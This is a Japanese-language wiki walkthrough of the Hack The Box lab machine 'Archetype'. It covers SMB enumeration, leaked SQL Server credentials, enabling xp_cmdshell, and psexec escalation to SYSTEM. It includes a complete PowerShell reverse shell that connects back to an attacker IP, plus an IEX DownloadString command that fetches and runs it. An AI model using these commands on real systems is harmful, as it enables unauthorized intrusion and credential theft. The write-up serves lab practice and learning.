HTB_archetype - meruneru/tech_memo GitHub Wiki

Machine - Archetype

イントロのマシン

#SMB にアクセスしてみると設定ファイルがあり、中にはMS SQLのアカウントとパスワードがある。 #mssqlclient.py を使って、SQL Serverにログインして任意コマンドを実行できるようにして、 ReverseShellをAttackerからダウンロードしてシェルを使えるようにする問題。

権限昇格を行うために #WinPEAS で情報収集したところ、 HTBマシンのコマンド履歴に管理者権限のパスワードがあり、 それを使って #psexec.py でアクセスする。

port scan

#ポート135 : #msrpc #ポート139 : #NetBIOS #ポート445 : #SMB #ポート1433: #mf-sql-s Microsoft SQL Server

└─$ nmap -sV -sC -Pn 10.129.45.139
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-18 22:15 EST
Nmap scan report for 10.129.45.139
Host is up (0.86s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-11-19T03:12:45
|_Not valid after:  2051-11-19T03:12:45
|_ssl-date: 2021-11-19T03:19:29+00:00; +2s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h36m02s, deviation: 3h34m42s, median: 1s
| ms-sql-info: 
|   10.129.45.139:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-11-18T19:18:42-08:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-11-19T03:18:41
|_  start_date: N/A


Access

SMBに繋いでみる。 フォルダ名が末尾$だと、管理者権限が必要。 backupsは管理者権限が不要とわかる。

┌──(kali㉿kali)-[~]
└─$ smbclient -L 10.129.45.139                                       
Enter WORKGROUP\kali's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
tstream_smbXcli_np_destructor: cli_close failed on pipe srvsvc. Error was NT_STATUS_IO_TIMEOUT
SMB1 disabled -- no workgroup available
                                          
┌──(kali㉿kali)-[~]
└─$ smbclient //10.129.45.139/backups 
smb: \> dir
  .                                   D        0  Mon Jan 20 07:20:57 2020
  ..                                  D        0  Mon Jan 20 07:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 07:23:02 2020

                5056511 blocks of size 4096. 2545486 blocks available
smb: \> get prod.dtsConfig 

┌──(kali㉿kali)-[~]
└─$ cat prod.dtsConfig                                               
<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration> 

prod.dtsConfig を見てみると、ID/Passwordが記載されていた。 UserID=ARCHETYPE\sql_svc, Password=M3g4c0rp123

このファイルは、MicrosoftのSQL Serverの設定ファイルらしい。 #ポート1433 のサービスで使えそうだ。

Connect to SQL Server

#impacket github というpythonライブラリに、mssqlclient.pyというモノがある。

UserID=ARCHETYPE\sql_svc, Password=M3g4c0rp123を元に、 SQL Serverに接続する。 このとき-windows-authを付ける必要がある。

ここのページによると、 SQL Serverへの認証はWindows認証とデータベース認証の2種類が選択でき、 WIndowsログインに使う認証を使うのが前者、SQL Server内でアカウントを作成して使用するのが後者らしい。

今回、SMBで取得したデータはWindowsアカウントに関するモノだったのでWindows認証でアクセスする必要がある。

$ mssqlclient.py                                                             
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

usage: mssqlclient.py [-h] [-port PORT] [-db DB] [-windows-auth] [-debug] [-file FILE] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] target

TDS client implementation (SSL supported).

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

optional arguments:
  -h, --help            show this help message and exit
  -port PORT            target MSSQL port (default 1433)
  -db DB                MSSQL database instance (default None)
  -windows-auth         whether or not to use Windows Authentication (default False)
  -debug                Turn DEBUG output ON
  -file FILE            input file with commands to execute in the SQL shell

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -dc-ip ip address     IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter


$ mssqlclient.py ARCHETYPE/[email protected] -windows-auth

SQL Serverにログインできたら、アカウントの権限をまず確認する。 確認してみると、systemadminであることが分かった。

SQL> SELECT IS_SRVROLEMEMBER('sysadmin')


-----------

          1

sysadminなため、xp_cmdshellを使って、シェルを叩くことができる。

SQL> xp_cmdshell dir

Msg 15281, Level 16, State 1, Procedure xp_cmdshell, Line 1 [Batch Start Line 0]  
SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

xp_cmdshellを有効化する必要があるとのこと。 適当にググると

下記で有効化できた。

-- this turns on advanced options and is needed to configure xp_cmdshell
EXEC sp_configure 'show advanced options', '1' 
RECONFIGURE 

-- this enables xp_cmdshell 
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE

このアカウントは、whoamiの結果がNULLなため、管理者権限はない。

SQL> xp_cmdshell whoami
output

--------------------------------------------------------------------------------

archetype\sql_svc

NULL

Reverse shell

Attacker側PCにReverseShellファイルを置いておき、 Victim(HTBマシン)側で下記を実行して、シェルをダウンロード/実行させる。

ReverseShellファイルは、Reverse Shell Cheat Sheetから拝借する。 今回はpowershellを使う。

  1. Attacker側PCにrev.ps1として下記を保存しておく。 1行目のIPアドレスはAttacker側PCのもの、ポート番号4242はVictim側がAttacker側に接続する際に用いるモノ。
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.151",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  1. Attacker側PCにHTTPサーバを立てる rev.ps1をVictimにダウンロードしてもらう必要があるため、サーバを立てておく。
$ ls
rev.ps1

$ sudo python3 -m http.server 80
  1. Attacker側PCにReverseShellの受信ポートでListen
$ nc -lnvp 4242
  1. Victim側からファイルをダウンロードさせる ReverseShellが実行され、Attacker側PCの4242ポートに接続しに行く。
SQL> EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.151:8000/rev.ps1") | powershell -noprofile'
  1. ncでListenしていたポートでシェルが開く

C:\Users\sql_svc\Desktopにいくと、user.txtがあり、フラグがた。 3e7b102e78218e935bf3f4951fec21a3

管理者権限を取得

#WinPEAS というツールをvictim上で実行すると、エスカレーションするための各種情報を表示することができる。 実行結果のうち、赤文字になっている箇所が脆弱性があり、権限昇格できる情報とのこと。

WinPEASの実行ファイルl

WinPEASの詳細説明

実行した結果C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtが赤文字で表示される。

コマンド履歴の中にID/Passwordがあった。

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!

あとは、psexec.pyでログインできた。

$ psexec.py [email protected]                                       Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

Password:
[*] Requesting shares on 10.129.46.122.....
[*] Found writable share ADMIN$
[*] Uploading file vANmdUqa.exe
[*] Opening SVCManager on 10.129.46.122.....
[*] Creating service ZcRn on 10.129.46.122.....
[*] Starting service ZcRn.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

...

c:\Users\Administrator\Desktop> type root.txt
b91ccec3305e98240082d4474b848528
⚠️ **GitHub.com Fallback** ⚠️